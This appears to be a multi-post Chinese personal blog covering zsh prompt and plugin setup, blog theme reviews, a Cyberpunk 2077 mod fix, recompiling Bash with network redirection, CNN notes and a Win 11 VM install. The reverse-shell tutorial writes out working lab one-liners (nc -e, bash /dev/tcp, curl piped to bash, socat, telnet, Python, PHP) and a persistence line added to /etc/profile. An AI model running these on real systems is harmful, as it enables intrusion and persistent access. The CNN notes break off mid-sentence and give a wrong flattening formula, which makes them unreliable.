如果希望同时显示用户名和主机名，可以在主题后追加一行，把它们放到目录前面：

PROMPT='%n@%m '"$PROMPT"

只需要用户名时，把 %n@%m 换成 %n 即可。

# 在右侧加上时间

在主题后追加这一行，可把时间放在左侧提示符末尾：

PROMPT+=' %F{yellow}%*%f '

如果不想挤占目录和输入之间的位置，则单独使用右侧提示符：

RPROMPT='%F{244}%D{%H:%M:%S}%f'

两种写法选一种即可。
后面的电量和 Python 例子也使用 RPROMPT ，每次赋值都会替换原有的右侧内容，不会自动叠加。
这里显示的是提示符展开时的时间，不是持续跳动的时钟；
命令行变长后，右侧提示符也会让出输入空间。

# 显示设备电量

如果想在提示符里显示电量，就需要先读取系统信息。这里以 macOS 为例，在主题后加入下面的函数和右侧提示符配置：

	sycamore_battery() {
	local value
	value=$(pmset -g batt 2>/dev/null \| sed -nE 's/.[[:space:]]([0-9]+)%;./\1/p' \| head -n 1)
	[[ -n $value ]] && print -rn -- "bat ${value}%%"
	return 0
	}
	RPROMPT='$(sycamore_battery)'

没有电池信息就不显示。函数输出中的 %% 会在提示符展开后变成一个百分号；
这也是动态文本和普通终端输出需要区分的地方。
电量查询会随提示符刷新执行，不会后台轮询。

# Python 项目、环境和版本

如果经常在不同的 Python 项目和环境之间切换，也可以把项目标记、环境名称和解释器版本放到提示符中。

把以下函数和 RPROMPT 放在主题六行之后。
它仅检查当前目录中的 pyproject.toml 或 requirements.txt ；虚拟环境则读 VIRTUAL_ENV 或 CONDA_DEFAULT_ENV 。
版本显示当前 PATH 能找到的 python3 ：

	sycamore_python() {
	local env_name version text=''
	[[ -f pyproject.toml \|\| -f requirements.txt ]] && text='Python project'
	if [[ -n $VIRTUAL_ENV ]]; then
	env_name=${VIRTUAL_ENV:t}
	elif [[ -n $CONDA_DEFAULT_ENV ]]; then
	env_name=$CONDA_DEFAULT_ENV
	fi
	[[ -n $env_name ]] && text+=" env:${env_name}"
	if [[ -n $text ]] && (( $+commands[python3] )); then
	version=$(python3 --version 2>/dev/null)
	text+=" ${version}"
	fi
	print -rn -- "${text//\%/%%}"
	return 0
	}
	RPROMPT='$(sycamore_python)'

这里根据当前目录中的两个配置文件判断是否显示 Python 项目标记，环境名称来自环境变量，版本则来自当前 python3 命令。
这个例子中，没有向父目录查找，也没有读取版本管理器的配置。
如果频繁刷新提示符，可以在切换环境后再查询并保存版本，避免每次都启动解释器。

# 区分 Git 工作区改动

前面我把两种状态设置成了一样的内容。如果想区分工作区是否有改动，只要修改 DIRTY 这一行，就能在有改动时增加一个星号：

ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[blue]%}) *"

它使用 Oh My Zsh 的 Git 状态检测，具体是否包含未跟踪文件还会受相关配置影响。
这里用星号提醒有改动，但如果要查看改了什么，仍然需要使用 git status 。

# 插件

我目前启用的是下面六个插件：

plugins=(git zsh-autosuggestions zsh-syntax-highlighting z extract web-search)

这行同样写在 .zshrc 中，且要放在 Oh My Zsh 初始化之前。
主题负责提示符，插件则补充命令和输入行为。
另外，名字写进列表之前，对应插件必须已经安装。

# git

git 插件提供常用 Git 别名和辅助功能。
例如 gst 对应 git status ， gco 对应 git checkout 。
这些别名可以减少重复输入。
主题里的 Git 分支提示由 Oh My Zsh 自带的 git_prompt_info 函数提供，不需要启用 git 插件。

# zsh-autosuggestions

输入命令时，它会在光标后显示建议，默认可根据历史记录提出补全。
例如曾经执行过 python test.py ，再输入开头的几个单词，就有机会直接补齐。

图中上面一行是未启用建议的情况，下面一行启用了建议，灰色部分是尚未接受的补全内容。

# zsh-syntax-highlighting

这个插件能给输入的命令着色，帮助区分命令、参数、引号以及部分不合法输入。
（这里的颜色改变是输入部分的内容，与提示符中的目录颜色无关）

图中依次是未启用高亮、启用后的有效命令，以及未找到的命令。

# z

z 根据访问过的目录记录进行跳转。
例如进入过项目目录之后，可以用 z 项目名片段 匹配它。
首次使用前，需要先进入目标目录，让 z 留下访问记录。

# extract

extract filename ，根据压缩文件类型调用对应解压工具，省去每次选择解压命令的步骤。
此插件统一了入口，非常好用。

# web-search

web-search 提供从终端发起网页搜索的命令，例如 google zsh prompt 。
它会把查询交给浏览器打开，适合在写命令时顺手查资料。

# 字体和显示

最后再说一下字体和显示效果。我目前的 iTerm 默认配置使用 JetBrainsMonoNFM-Regular ，字号为 12。
使用其他终端时，也需要在对应的设置中选择合适的字体，因为部分主题包括图标字符，如果用错了字体则大概率显示不出来。

我的自用主题中的  就是图标字符，需要字体包含对应字形才能显示。
如果看到该字符显示成了方框，就要考虑更换为合适的字体。当然也可以直接在主题文件中把该字符换成普通的 > ，不必让一个符号的显示影响使用。

除了能否显示图标，还要注意字体的字符占用的宽度。
我的自用主题中，用 %1{%} 声明这个片段占一个字符单元。如果终端实际把它画成两格，就可能发生光标错位。

用过的博客主题

Sun, 12 Oct 2025 12:54:13 +0800

罗列一下用过的（装过的）主题，根据我的使用体验，简单评价一下它们。最后也补了两个看过资料后觉得可以试试的主题。

# 关于我的审美

我比较喜欢那些花里胡哨的东西，比如樱花飘落特效、Live2D（看板娘）、鼠标点击特效、好看的封面大图……

我浏览过、也安装过不少简洁又美观的主题。它们初看确实可以，但大概是不符合我的审美，没两天就被我换掉了。

可能对我而言，它们还是太白板了。

# WordPress

WordPress 的主题和插件选择很多，想折腾的时候，总能找到些东西装上去。不过，我当时用起来也遇到了后台卡顿、页面加载缓慢的问题。

下面说的主要是当时的使用感受，页面慢也不一定都是主题的原因。比如我用过的 Argon，就觉得挺不错。

# Sakura

樱花庄的白猫维护的 Sakura，外观和那些小细节都很符合我的审美。

当时我也照着网上的教程折腾过不少效果。可惜 Live2D 只用上了默认模型，想自己设计、搭建一个，还是挺困难的。

再者，我当时搭出来的页面加载确实慢，最后也是因为实在受不了，才决定弃用。当时还姑且把它当个花瓶摆着。

还有我一直想做的，用 BotUI 对话机器人设计的关于页面。我记得这个东西真的搞了很久，试了很多 Google 到的方法还是没成功。JavaScript 加载起来像是没有反应，也可能是真的没加载上……

折腾归折腾，Sakura 的外观我还是喜欢的。现在找配置入口可以先看仓库说明：它本身就有主题设置，并不是所有修改都要去动源文件；需要继续改样式时，作者也建议使用子主题。

# Sakurairo

展示站点：networkos.club（官方演示目录收录，非我的旧站，也不是主题默认效果）。

Sakurairo 是基于 Sakura V3 重构的主题，使用手册在这里。

它把不少设置集中到了后台，文档里也按全局、主页、页面等分好了。相比我当时在 Sakura 上四处找教程、自己改的过程，这种方式会省事一些。

具体能调整哪些东西，还是得看版本和设置。可惜我当时用起来，加载缓慢的问题仍然在。

# Ashe

Ashe 的主题页面在这里。

按现在的主题介绍看，它支持个人博客和多人博客，也有页头大图、全屏轮播和适应手机屏幕的布局。和前面两个主题相比，展示方式更偏向图片和文章本身。

如果只是想放一张好看的大图，再把文章列表排得清楚一些，可以先看看这个主题。

# Argon

Argon 是我用过之后觉得挺不错的一个。

它可以调整主题色，也有单栏、双栏、三栏布局和夜间模式。

有兴趣的话，可以先看主题文档，再决定要怎么配置。

# Hexo

# ShokaX

ShokaX 是从 Shoka 派生出来的主题，也是这个博客现在用的主题。

目前站上的样式已经经过一些修改，不能完全当作主题默认效果来看。具体改了哪些地方，我之前分别写在主题修改记录和主题更新记录里，这里就不再把配置过程重复一遍了。

# 另外两个可以看看

下面这两个是按官方资料补上的推荐，不算前面那种用过之后的感受。

# Typecho：Joe

Joe 采用双栏布局，支持自定义主题色和代码高亮。想在 Typecho 上写些技术文章，又不想把页面做得太简单，可以先看看它。

# Hexo：Butterfly

Butterfly 的卡片和双栏布局比较明确，也支持夜间模式、背景效果和鼠标点击特效。这几项倒是很接近我前面说的审美。

可以先看官方演示和文档，挑自己想要的效果。

希里主菜单背景 Mod 修复记录

Wed, 20 Aug 2025 22:42:31 +0800

我试图在 2.0+ 版本中修复 mod: Ciri in Night City - Main Menu Background Replacer，添加对往日之影 Logo 的支持。

Update 1.1.0：v1.0.0 中，载入游戏时的动画消失了，我将其修复，但最后一个动画也会变成被更改的主菜单背景

写在前面：加载动画丢失的问题，归根到底是因为这个原 Mod 对背景的修改手段太粗暴了，而往日之影 Logo 缺失，则是因为这个 Mod 过期了。

如果想修复丢失的加载动画，直接跳到 “找回丢失的加载动画” 阅读就行。
这一节将从头开始构建这个 Mod。

原 Mod 启动效果图，可以看到没有往日之影的 logo：

# Logo 的修改方法

修改工具：WolvenKit

# 往日之影 Logo 补充

打开 Mod Browser，找到安装好的原 Mod

选择 base 文件夹，然后鼠标右键 Add selected items to project

左侧 Project Explorer 中找到 menu_background.xbm 和 menu_background_1080p.xbm，这是出问题的文件，直接删掉就行，如下：

# 最后的工作：打包

Buid -> Pack Project，会在项目文件夹下打包为 zip 压缩包，这就是修复好的 Mod，安装到 CP2077，并卸载掉原 Mod。

效果如下，成功补上往日之影的 Logo：

# 分析原 Mod

最好先阅读：赛博朋克 2077 界面资源分析

我的分析过程其实绕了很大的弯子，有兴趣可以看一下。

# 定位背景图片的位置

原 Mod 修改的文件还是有很多的，为了找到正确的思路，我选择先定位被修改的背景图片。

根据游戏主线进度不同，赛博朋克的主菜单背景会更换图片。

寻找后，我发现对应的目录： base\gameplay\gui\world\loading_screens\

该目录下所谓 loading_screen_5_after_q101、loading_screen_10_after_q112，应该对应了主线中某些事件的发生，比如图片 loading_screen_10_after_q112\loading_screen_10_shot_01.xbm：

这显然是在潜入山车安装病毒之后会出现的那个背景图。

再比如图片 loading_screen_5_after_q101\loading_screen_5_shot_01.xbm：

这对应目前我的主菜单图片：

# 进一步分析 inkwidget

如果我要更换这个主菜单的背景图片，应该需要更改对应的 inkwidget 中的内容。

原 mod 虽然不能显示往日之影的 logo，但是背景替换功能还是正常的，因此可以做一定的参考。

着重分析：loading_screen_5_after_q101.inkwidget，因为这对应目前我主菜单的背景图片，方便我进行分析。这里面应该包括构成当前主菜单界面的资源。

左：原文件；右：原 Mod 中修改后的文件

先看右侧的原 Mod 文件，主要是文件 cp_bq_alphafaded.bk2，这就是被替换的希里背景动画。

然后看左侧的游戏原文件，因为目前我的主菜单背景是 short01 的图片，所以不看 short02、short03 的内容：

smoke_loop.bk2：一个冒烟的动画视频

shot_01_assets.inkatlas：对文件 short_01_assets.xbm 进行了分割，提取出图片后面的三个光柱（ad）以及闪烁的灯光（antenna_lights）

short_01_assets.xbm 如下，应该能理解我的意思：

loading_screen_5_shot_01.inkatlas：对应为主体背景，因为分割的那 4 个参数 Bottom、Left...，分别设置为了 0 和 1，也就是顶格分割，取了图片整体。

如下是对主页面要素的标注，①对应 smoke_loop.bk2，②对应 shot_01_assets.inkatlas：

因此，如果只是要更换当前的背景图片，把 loading_screen_5_shot_01.xbm 换掉就行。

# 原 Mod 思路分析

上一节说换 loading_screen_5_shot_01.xbm，其实是不够的。

先说第一个原因：背景图片是会跟着主线剧情切换的。

仔细对比可以发现，Mod 中更改的 loading_screen_5_after_q101.inkwidget，其内容和游戏原文件： base\gameplay\gui\world\loading_screens\initial_loading_screen\initial_loading_screen.inkwidget 完全一致。

左：Mod 中的文件；右：initial_loading_screen.inkwidget

而我们知道，initial_loading_screen.inkwidget 中的 cp_bq_alphafaded.bk2，已经被替换为希里的背景动画了。

因此 loading_screen_5_after_q101 对应的背景就会被替换为希里。

再看原 Mod，每一个对应文件夹下的 inkwidget，其内容都被改成了 initial_loading_screen.inkwidget

所以说原 Mod 的思路很绝：既然背景图片会换，那就把它们都改了！

# 往日之影 Logo 修复点分析

上面分析了这么多其实对修复往日之影的 Logo 完全没用，因为在游戏原文件 loading_screen_5_after_q101.inkwidget 中，我并没有找到 Logo 的部分，上述内容都是原 Mod 更改背景图片的思路。

但是把已经分析出作用的文件去掉，原 Mod 的结构就简单多了。

我马上就发现了：base\gameplay\gui\fullscreen\main_menu\menu_background.xbm，以及 menu_background_1080p.xbm

左：原 Mod 中的 menu_background.xbm；右：游戏原目录中的 menu_background.xbm

少了什么一目了然，就是往日之影的 Logo。

正确的文件游戏里已经有了，现在加载不出来是因为原 Mod 中的文件覆盖了游戏的默认文件。

因此如果要修复这个 Logo，只要把 Mod 里这两张图片删了就行。

# Update：修复丢失的加载动画

先说说修复完 Logo 之后我发现的这个新问题：

从主菜单载入游戏存档时，一般会播放一个小剧场，和主菜单背景一样，会跟随剧情变化而变化。而问题就是，这个小剧场没了，加载过程全黑。

这个小剧场其实由三段动画构成。先看看这三段动画的例子：

动画一：

动画二：

动画三：

# 加载动画丢失原因分析

之所以加载动画会丢失，究其原因是原 Mod 直接将每一个对应文件夹（loading_screen_5_after_q101）下的 inkwidget，都替换成了 initial_loading_screen.inkwidget。

这显然会导致很多问题，loading_screen_5_after_q101.inkwidget 是和加载动画相关的关键文件（具体参考赛博朋克 2077 界面资源分析 #inkwidget）。

从下面那张对比图可以看出，loading_screen_5_after_q101.inkwidget 下对应的三个加载动画资源，ls_01，ls_02，ls_03 在 initial_loading_screen.inkwidget 中都没有了，只剩下 main_menu 和 loading_screen。

而 main_menu 对应 cp_bq_alphafaded.bk2 资源，也就是替换的希里的背景，loading_screen 则是对应另一个进入主菜单时的动画资源。

因此，游戏找不到 ls_01，ls_02，ls_03，也就丢失了加载动画

# 加载动画修复方法

因为上述原因，只能从头构建这个 Mod。

首先创建一个新项目，和修复 Logo 时差不多，在 Asset Browser 中找到原 Mod 的 cp_bg_alpha_faded.bk2，也就是希里背景，加入到项目中。

然后找到游戏中的 loading_screen_5_after_q101.inkwidget 和 initial_loading_screen.inkwidget，将前者加入项目，并打开编辑，后者选择 Open without adding to project 即可。

复制 initial_loading_screen.inkwidget 中的 cp_bq_alphafaded.bk2 资源，然后加入 loading_screen_5_after_q101.inkwidget 的 externalDependenciesForInternalItems 中：

然后进入 ls_01 的 children，删除里面的 1-6 项，这些都是组成原主菜单背景的资源。至于第 0 项 fade_to_black，应该是衔接动画，不能删除，否则会导致主菜单背景动画播放卡顿。

然后复制 initial_loading_screen.inkwidget 中 main_menu -> children 中的 cp_bg_alpha，这对应希里的背景动画资源，因为对应文件已经做出替换。

粘贴到 loading_screen_5_after_q101.inkwidget 之前删除其他资源的位置即可：

同样的操作，对 loading_screens 中其他文件夹下的 .inkwidget 都做一遍，就全都能替换掉了。

唯一的问题：

ls_01 对应主菜单背景动画和加载动画三，ls_02 对应加载动画一，ls_03 对应加载动画二。

因此我为了替换主菜单背景动画，修改了 ls_01，加载动画三不可避免的也会变成希里的背景。暂时没有找到解决方法。

赛博朋克 2077 界面资源分析

Wed, 13 Aug 2025 22:56:23 +0800

本文内容会有些许凌乱，因为是 Mod 开发过程中，我对 archive 的一些文件代表的内容的想法。

而且本人没有接触过 3D 动画、游戏制作这方面的内容，描述会存在很多不专业的地方。

# 文件类型和作用

# xbm

这是一种图片类型的文件，对应游戏中出现的一些贴图的资源。

通过 WolvenKit 可以查看图片的内容，比如 expansion_logo.xbm，如下所示：

# inkatlas

这是某种代表了对 xbm 图片进行具体 ” 分割 “ 利用的文件。

比如 expansion_logo.xbm 对应的 expansion_logo.inkatlas，内容如下：

再次展开这个 3：logo，并和 4：logo_EN 的数据进行对比，如下：

可以看到，其中包括的 Bottom、Left、Right、Top，对应的应该是 xbm 图片中 ” 被分割 “ 出来的具体图片的位置数据，这些数据被框定在 0~1 中。

以下是我根据这些数据判断他们所对应图片的思路：

3：logo 的 Bottom 和 4：logo_EN 的 Top 数值接近，几乎可以认为其就是上下相邻的两个图形。
他们的 Bottom 和 Top 数值接近于 1，因此应当位于 xbm 图片的下侧。
他们的 Left 数值相等且接近于 0，因此应当位于 xbm 图片的最左侧。

所以，3：logo 和 4：logo_EN 应当分别对应 xbm 图片左下方的两个英文 logo: PHANTOM LIBERTY

# inkwidget

这个文件应该是说明了，组成某些动画需要用到的资源。

以 loading_screen_5_after_q101.inkwidget 为例，该文件应该对应某个从主菜单载入游戏时的小剧场，该小剧场通常由三个动画组成。

如下图所示，externalDependenciesForInternalItems 下存放的就是要用到的内部资源。libraryItems 下的就是组成动画的一些信息，ls_01，ls_02，ls_03 对应三个加载动画。

展开 ls_01，以此为例说明这个 node 中的信息。

关键内容在如下图所示的 children 中，可以看到一共有 7 项，从其名称中应该可以发现一些端倪。

比如 shot_01_bg 对应这段动画的背景，antena_light_1 对应一个闪烁的信号灯。它们具体代表的资源，可以进一步展开这些项目获得。

以 ls_02 中的 BINK_RTW 为例，展开后可以看到对应的 videoResouce 文件。

如果想知道它对应什么，就将这个 videoResource Add to Project，然后用 rad video 播放，其内容为：

相信你还记得那个齐格・Q 和 NCPD 发言人。

# 目录对应的功能

# `base\gameplay\gui\world\loading_screens\`

根据游戏主线进度不同，赛博朋克的主菜单背景会更换图片；加载存档时，会出现多张图片轮换播放。

比如图片：loading_screen_5_after_q101\loading_screen_5_shot_01.xbm

可以在主菜单看到同样的图片：

因此，如果我要更换这个主菜单的背景图片，需要更改对应的 inkwidget 中的内容。

（后续分析：希里主菜单背景 Mod 修复记录）

反弹 Shell

Sun, 15 Jun 2025 21:48:27 +0800

# 什么是反弹 shell？

正向连接，就是攻击者用自己的攻击机连接到目标主机的某一端口，常见的有 web 服务、ssh、远程桌面等等。

在实际情况下，总会有很多时候，我们不能通过正向连接访问到目标主机，这个时候就可以利用反向连接来实现。

反向连接，通俗来说就是，攻击者监听某个攻击机的指定端口，目标主机主动发起请求到该端口，并将命令行的输入输出转到攻击机上显示。

# 适用情况

反弹 shell 适用于如下几种常见的情况：

目标机因防火墙受限，目标机器只能发送请求，不能接收请求。
- 所以让目标机主动发送请求到攻击机指定端口来 getshell
目标机端口被占用。
- 但是攻击机不会存在什么端口限制
攻击者无法预知目标机什么时候会中病毒、木马，对方的网络环境是什么样的，什么时候开关机。
- 所以采用 监听 + 诱骗目标机主动执行某程序 的方式获得 shell
虽然目标机中了招，但是目标机位于局域网，或 IP 会动态变化。
- 不能获得可用的 IP 地址

# 实现方式

反弹 shell 的方式有很多，那具体要用哪种方式还需要根据目标主机的环境来确定，
比如：

如果有 netcat 或者 Socat 或者 Telnet 工具，那么可以利用 任意这三者之一 反弹 shell，
如果 bash 可用，那么可以利用 bash 反弹 shell，
如果具有 python 或者 php 的环境，那么可以利用 这些语言的脚本 反弹 shell。

# 利用 netcat 反弹 shell

Netcat（即 nc ）是一款简单的 Unix 工具，使用 UDP 和 TCP 协议。它可以轻易的建立任何连接。

# 准备：

目前，默认的各个 linux 发行版本已经自带了 netcat 工具包。

但是有部分版本的 netcat 的 -e 功能被阉割了
（大概是出于安全考虑，因为 -e 可以直接发布与反弹本地 shell）

对于这种情况，需要手动下载安装包，命令如下：

wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

# 攻击机开启监听：

格式： nc -lvvp <攻击机监听的端口>

netcat -lvvp 23333

# 目标机主动连接攻击机：

格式： nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

netcat 192.168.158.139 23333 -e /bin/bash

（必须攻击机先开始监听，目标机再反弹 shell，这样才会有效果）

成功反弹 shell：

# 利用 Bash 反弹 shell

使用 Bash 中 网络重定向 的方法

# 准备：

Kali Linux 中使用的 Shell 是 zsh，
可以用命令： echo %SHELL 查看当前系统使用的 Shell：

所以我们需要更换 Shell：

更换： chsh -s /bin/bash
重启： reboot

[注意]： 出现下图错误只是因为 攻击机没开监听：

另外，Debian 中，部分版本可能默认没开 bash 的网络重定向选项，

对于这种情况，我们只能：加上 --enable-net-redirections 重新编译 bash
详见我的另一篇文章：重新编译 Bash：网络重定向

# 命令：

（攻击机事先开启本地监听）

格式： bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

成功反弹 shell：
目标机 界面 (反弹)：

攻击机 界面 (监听)：

# 详细解释：

bash -i
- 产生一个 bash 交互环境。
>&
- 把联合符号前面的内容与后面相结合，然后一起重定向给后者。
/dev/tcp/192.168.158.139/23333
- /dev/tcp/ip/port 是 bash 中定义的一个方法，
- 作用是：让攻击机 (192.168.158.139) 和目标机，在攻击机的 23333 端口上，建立一个 tcp 连接。
0>&1
- 0、1 为文件描述符。
- 即将 标准输入 (0) 与 标准输出 (1) 的内容相结合，然后重定向给前面 标准输出 (1) 的内容。（在反弹 shell 中实现 输入输出 的关键）

# Curl 配合 Bash

丰富一下用 Bash 反弹 Shell 的手段
（Curl 的命令借助了 Linux 中的管道）

# 1. 准备 index.php 文件：

攻击机中创建 index.php 文件，
填写的内容为：直接使用 Bash 反弹 Shell 的情况下，目标机中运行的命令，即：

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

存放在 web 目录下，
演示的 Kali Linux 虚拟机开启 Apache2 服务之后，对应目录为： /var/www/html/

开启 Apache2 服务之后，会在上述目录下生成一个 index.php 文件，
可以直接删去内容并修改，该文件只是生成一个 web 页面而已（如下图）

# 2. 攻击机打开 23333 端口的监听

命令： netcat -lvvp 23333

# 3. 目标机输入 Curl 命令反弹 shell

命令： curl 192.168.158.139|bash

实现如图：

成功反弹 Shell：

# Bash 反弹命令写入 /etc/profile 文件

文件 /etc/profile 中的内容，会在 Bash 窗口打开时执行。

# 如图：

（下图中我输入的是错误的代码，所以启动 Bash 之后，会输出报错内容到命令行）

（如果是正确的代码，但是攻击侧没开监听，也会报错，如下图：）

# 布置的步骤：

通过 vim /etc/profile ，编辑文件：

在末尾添加代码： /bin/bash -i >& /dev/tcp/192.168.158.139/23333 0>&1 &

该命令比直接反弹的代码在末尾多了一个 &，
这是为了让打开 Bash 的用户能正常使用

演示：

攻击机开始监听 23333 端口
Xshell 打开目标机的会话（即启动了 Bash）
没有回显，且攻击机成功 getshell，反弹成功

# 利用 Socat 反弹 Shell

Socat 是 Linux 下一个多功能的网络工具，功能与 netcat (nc) 类似。
所以我们也可以使用 Socat，开监听、反弹 Shell

# 下载 Socat

试验之前，要先下载 Socat（Kali Linux 已经预装了该工具），
如果没有安装，使用命令： apt-get install socat

# 攻击机开启监听

命令： socat TCP-LISTEN:23333 -

# 目标机通过 Socat 建立连接

命令： socat tcp-connect:192.168.158.139:23333 exec:'bash -li',pty,stderr,setsid,sigint,sane

成功反弹 Shell：

# 利用 Telnet 反弹 Shell

我们总会遇到，目标机 Netcat 和 /dev/tcp/ 方法不可用的情况，
这时候如果目标机配有 Telnet 服务，我们可以用 Telnet 建立反向连接。

攻击机开启监听
（用 nc 或者 socat 都行）
目标机执行命令，建立连接：
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
成功获得 反弹 Shell：

# 用 Python 脚本反弹 Shell

使用 Python 的 socket 库

攻击机开启监听后，直接使用命令：

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.139",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

（或者也可以转化成 .py 的 Python 文件，然后命令行执行）

如下图所示：

成功反弹 Shell

# 用 php 脚本反弹 Shell

攻击侧开启监听，目标机执行的 php 脚本如下：

php -r '$sock=fsockopen("192.168.158.139",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

实现如下：

# 最后

逐一实现了这么多的 反弹 Shell 的方法，我发现他们本质上都是一致的。

无论是用工具还是脚本，都是建立连接 + 输入输出重定向。

总得来说，这样一遍下来，最开始读起来较为模糊的原理，现在也能够清晰地理解了。

重新编译 Bash：网络重定向

Sun, 20 Apr 2025 13:09:20 +0800

我尝试从源码重新编译 Bash，下面记录了下载、编译和切换 Shell 的过程。

本文使用 Bash 5.1.16，截图来自 Kali 虚拟机。该版本较旧，如需在其他环境中执行，请按实际需求选择版本。

# 查看 Bash Shell 版本

先查看当前账号配置的登录 Shell：

echo "$SHELL"

$SHELL 通常保存登录 Shell 的路径，图中可以看到本环境默认使用 zsh，但通常来说，系统也会默认安装 Bash。

查看已经安装的 Bash 版本：

bash --version

这里使用的是 Bash 5.1.16：

# 下载安装 Bash

这次需要指定编译选项，所以选择从源码安装。编译前需要准备好 C 编译器和 make；Kali 中可以通过 sudo apt install build-essential 安装。

# 下载

在 GNU 下载目录中找到 Bash 5.1.16 源码包，使用 wget 下载：

wget https://ftp.gnu.org/gnu/bash/bash-5.1.16.tar.gz

# 解压

解压源码包：

tar -zxvf bash-5.1.16.tar.gz

解压后，当前目录中会生成 bash-5.1.16 文件夹：

进入这个目录：

cd bash-5.1.16

# 配置编译选项

配置安装目录，并显式启用网络重定向：

./configure --prefix=/usr/local/bash --enable-net-redirections

--prefix 指定安装目录。这里将 Bash 安装到 /usr/local/bash ，不会直接替换系统原有的 Bash。

# 编译与安装

配置完成后，执行 make 编译：

make

编译通过后，再安装到前面指定的目录：

sudo make install

截图中使用的是 root 账号，所以直接执行了 make install 。

# 更换使用

安装完成后，可以直接运行新 Bash，无需先修改默认 Shell：

/usr/local/bash/bin/bash

如果希望登录后默认使用它，先确认 /etc/shells 中是否已有 /usr/local/bash/bin/bash 。没有的话，添加这一行：

echo '/usr/local/bash/bin/bash' | sudo tee -a /etc/shells

然后修改当前账号的登录 Shell：

chsh -s /usr/local/bash/bin/bash

退出账号并重新登录后生效，不必为此重启整台机器。重新登录后，执行 echo "$SHELL" 查看配置的路径：

卷积神经网络

Sun, 16 Mar 2025 08:09:05 +0800

解决的问题：目标检测和识别、分类和检索、超分辨率重构

核心问题：如何进行特征提取

# 整体架构

卷积神经网络和传统网络的区别：
CNN 的输入数据都是 3 维的，不用拉成一个向量

输入层：与传统网络的区别是，直接传入了图像数据（3 维）
卷积层：提取特征
池化层：数据压缩
全连接层：传统神经网络结构；输出层的每一个神经元都与上一层的每一个神经元连接；

每次卷积之后，都会加入一个 Relu 激活函数

卷积层 + 池化层只是进行特征提取，获得结果还是靠神经网络的全连接层；
因为全连接层无法直接处理多维的数据（图像），所以要先把数据拉成向量的格式

# 卷积

（提取特征）

关于卷积核 (filter)：参考文章

一次卷积中，

假设输入数据有 $n$ 个维度，则卷积核的维度也应当为 $n$ （输入数据的每一个维度都对应使用卷积核的一个维度）

可以使用多个卷积核。
每一个卷积核都会对应一个维度的输出数据。假设使用 $m$ 个卷积核，则输出数据将有 $m$ 维。

卷积层涉及参数：

滑动窗口步长（stride）
步长越小，越细粒度地提取特征，得到的特征越丰富
（一般为 1）
卷积核尺寸
尺寸越小，越细粒度地提取特征，得到的特征越丰富
（最小为 $3\times 3$ ）
边缘填充（pad）
为解决 边界数据利用不充分 的问题（靠近中心的数据在卷积中会被计算更多次），
在数据边缘填充一圈 0，使数据更靠近中心
卷积核个数
即输出数据（特征图）的维度
（每个卷积核都会各自进行参数更新）

卷积结果计算公式：

长度： $H_2=\frac{H_1-F_H+2P}s+1$
宽度： $W_2=\frac{W_1-F_W+2P}s+1$

其中， $W_1$ 、 $H_1$ 表示输入的宽度、长度； $W_2$ 、 $H_2$ 表示输出特征图的宽度、长度；
$F$ 表示卷积核长和宽的大小； $S$ 表示滑动窗口的步长； $P$ 表示边界填充 (加几圈 0)。

所以特征图的大小不一定小于输入数据的大小。通过更改卷积的参数，也可以让输入输出的数据大小相同

# 池化

（数据压缩）

关于池化 (pooling)：参考文章

max pooling：选取区域内最大的

average pooling：选取区域内的平均值（已淘汰）

没有矩阵计算（所以池化层不算入卷积神经网络的一层）

池化在压缩数据的同时，势必会导致部分信息丢失，因此可以考虑在下一层卷积中，将特征图个数翻倍，以弥补损失。

# 特征图变化

卷积 => 提取特征 => 增加（减少）特征图个数

池化 => 数据压缩 => 减少特征图体积

转化 => 把 $n$ 个特征图 ( $w\times h\times n$ ) 转化为特征向量 ( $(w+h+n)\times 1$ )

# 残差网络

问题：神经网络的层数越多，效果越好吗？
不是的
本质上神经网络中间的几层都是在做特征提取的事情，而提取 50 次特征不一定比提取 20 次特征的效果好

因此，深度学习出现了如下图所示的状况：

（ResNet：2015 年提出的解决方法）

核心思想：始终保留增加的层，即使增加的层表现得不好（损失值变大），将

Win 11 虚拟机安装记录

Sun, 16 Feb 2025 18:35:51 +0800

误删了电脑里所有的虚拟机，还没有备份。本文记录一下重新安装 Win 11 的过程。

本文使用 VMware Workstation 16.x 和 2022 年 3 月更新的 Win 11 镜像，安装的是专业版。截图中的界面与新版软件可能不同，本文按这套环境记录安装和配置步骤。

# Win 11 镜像下载

镜像是在 NEXT, ITELLYOU 找的。它和 MSDN 是同一站点团队提供的服务。

进入网站后，点击顶部导航栏的 “原版软件”：

在操作系统列表中选择 Windows 11：

我下载的是 business editions 镜像，安装时再选择专业版。

如图所示的两类都是包含多个版本的安装镜像，并非 “企业版” 和 “家庭版” 两个单独的系统。
两者都包含专业版；business editions 包含企业版，consumer editions 包含家庭版，具体版本以所下载镜像的安装列表为准。

本文使用的镜像文件名和 ED2K 链接如下。这是旧版镜像的记录，新装系统也可以从微软下载页面获取当前版本。

ed2k://|file|zh-cn_windows_11_business_editions_updated_march_2022_x64_dvd_7df6eae1.iso|5582235648|B7C9D076AE16A10C9D2610207577F28D|/

# 安装 Win 11 虚拟机

# 新建虚拟机

镜像下载好后，先创建虚拟机并分配硬件资源。Win 11 对内存、磁盘和 TPM 等都有要求，需要一起检查，不能只选好镜像就直接安装。

点击 “文件 → 新建虚拟机”，进入向导。在安装来源中选择下载好的 ISO 文件。

选择客户机操作系统。截图中的 VMware 没有 Win 11 选项，所以我选了 “Microsoft Windows → Windows 10 x64”。如果使用的版本已经提供 “Windows 11 x64”，直接选它即可。

设置虚拟磁盘容量。我分配了 100 GB，留出系统和后续软件的空间。Win 11 的最低存储要求是 64 GB。截图中是针对 Win 10 给出的 60 GB 建议值，对 Win 11 并不合适。

在完成向导前，点击 “自定义硬件” 调整内存和处理器。本文分配的是 4 GB 内存、4 个 CPU 内核和 100 GB 磁盘。

